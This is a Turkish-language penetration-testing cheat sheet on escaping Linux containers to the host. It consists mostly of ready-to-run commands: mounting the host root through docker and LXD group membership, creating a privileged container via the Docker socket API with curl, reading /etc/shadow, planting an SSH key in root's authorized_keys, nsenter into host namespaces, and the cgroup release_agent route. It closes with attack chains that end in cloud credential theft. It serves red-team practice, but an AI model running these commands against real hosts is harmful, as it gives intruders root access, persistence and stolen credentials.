Linux Containers & Escape
MITRE ATT&CK · T1611 phase: privilege-escalation
Konteyner escape, konteyner izolasyonundan host işletim sistemine
çıkmaktır. Linux PE ile sık kesişir: docker grubu, mount edilmiş
docker.sock, --privileged ve fazla capability’ler. Bulut/K8s odaklı
derinlik için Container Escape sayfasına bakın;
bu sayfa host üzerinde düşük yetkili shell / konteyner foothold senaryosuna
odaklanır.
Ortamı tanı
Section titled “Ortamı tanı”ls -la /.dockerenv 2>/dev/nullcat /proc/1/cgrouphostname; id; uname -acapsh --print 2>/dev/nullcat /proc/self/status | grep -i Capmount; cat /proc/mountsls -la /dev | head -n 50ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock 2>/dev/nullenv | grep -iE 'KUBERNETES|DOCKER|container'/.dockerenv veya cgroup'ta docker/kubepods → konteyner içindesindocker.sock görünür → API ile sibling escape/dev/sda* + yüksek CapEff → privileged adayıhostPath / /host mount → doğrudan host FSdocker grubu (host üzerinde)
Section titled “docker grubu (host üzerinde)”Host’ta docker grubuna üyeysen socket’e yazabiliyorsun — pratikte root.
id; groupsdocker imagesdocker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bashdocker run -it --rm -v /:/mnt alpine chroot /mnt /bin/shdocker · privileged host mount
embedded tooldocker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bashdocker · privileged host mount
Section titled “docker · privileged host mount”Soket var ama docker CLI yoksa API ile:
curl -s --unix-socket /var/run/docker.sock http://localhost/versioncurl -s --unix-socket /var/run/docker.sock http://localhost/containers/jsoncurl -s --unix-socket /var/run/docker.sock \ -H 'Content-Type: application/json' \ -d '{"Image":"alpine","Cmd":["sleep","3600"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \ http://localhost/containers/createPrivileged konteyner / host disk
Section titled “Privileged konteyner / host disk”--privileged neredeyse tüm capability + host cihaz erişimi verir.
fdisk -lmkdir /mnt/hostmount /dev/sda1 /mnt/hostcat /mnt/host/etc/shadow | headecho 'ssh-rsa AAAA... pentest' >> /mnt/host/root/.ssh/authorized_keyschroot /mnt/host /bin/bashCapability tabanlı kaçış
Section titled “Capability tabanlı kaçış”capsh --printCAP_SYS_ADMIN → mount, cgroup release_agentCAP_SYS_PTRACE → hostPID ile süreç enjeksiyonuCAP_DAC_READ_SEARCH → host dosya okuma teknikleriCAP_NET_ADMIN → ağ namespace manipülasyonu (yan etki)CAP_SYS_ADMIN + yazılabilir cgroup → klasik release_agent ile host komut
çalıştırma. PoC akışı ve araçlar için cloud container-escape sayfasındaki
adımları kullan; cdk / bilinen PoC’ler yaygın tercihtir.
cat /sys/fs/cgroup/*/release_agent 2>/dev/nullls -la /sys/fs/cgrouphostPID / nsenter
Section titled “hostPID / nsenter”Pod veya konteyner hostPID (ve tercihen privileged) ise:
ps aux | headnsenter --target 1 --mount --uts --ipc --net --pid -- bashnsenter -t 1 -m -u -i -n -p -- /bin/bashPID 1 host init ise namespace’ler host ile paylaşılıyordur.
LXD / LXC grup suistimali
Section titled “LXD / LXC grup suistimali”lxd grubu üyesi → privileged container → host mount.
id | grep lxdlxc image listlxc init ubuntu:20.04 privesc -c security.privileged=truelxc config device add privesc host-root disk source=/ path=/mnt/root recursive=truelxc start privesclxc exec privesc /bin/bashchroot /mnt/root /bin/bashImage yoksa Alpine/busybox rootfs import ederek aynı cihaz mount’u yapılır.
Tehlikeli mount’lar
Section titled “Tehlikeli mount’lar”/var/run/docker.sock/var/run/containerd/containerd.sock/:/host veya /host/etc, /root, /home (kısmi host FS)/var/log (host log → secret)/proc (özellikle yazılabilir procfs misconfig)findmntls -la /host /mnt/host 2>/dev/nullHost FS mount’luysa SSH key, crontab, shadow ve cloud credential hemen loot.
Runtime / çekirdek CVE (özet)
Section titled “Runtime / çekirdek CVE (özet)”runc --version 2>/dev/nulluname -arunc CVE-2019-5736 → host runc overwrite (eski)Dirty Pipe / OverlayFS → konteyner→host bazı senaryolarCVE-2022-0492 cgroup → release_agent benzeriSürüm eşleşmeden public exploit çalıştırmayın; staging’de doğrulayın.
Metodoloji
Section titled “Metodoloji”-
Konteyner misin, host’ta docker grubu musun — cgroup, sock, groups.
-
sock / privileged / host mount varsa doğrudan FS veya API escape.
-
Capability + cgroup / hostPID yollarını dene.
-
LXD grubu varsa privileged + disk device.
-
Host’ta root sonrası: SSH, cron, IMDS, kubelet credential.
Saldırı zinciri
Section titled “Saldırı zinciri”www-data in docker group → privileged -v /:/mnt → host root → IMDSApp RCE + docker.sock → API privileged sibling → host rootK8s CAP_SYS_ADMIN → release_agent / hostPath → node → cloud SAİlgili derin sayfa: /cloud/container-escape/.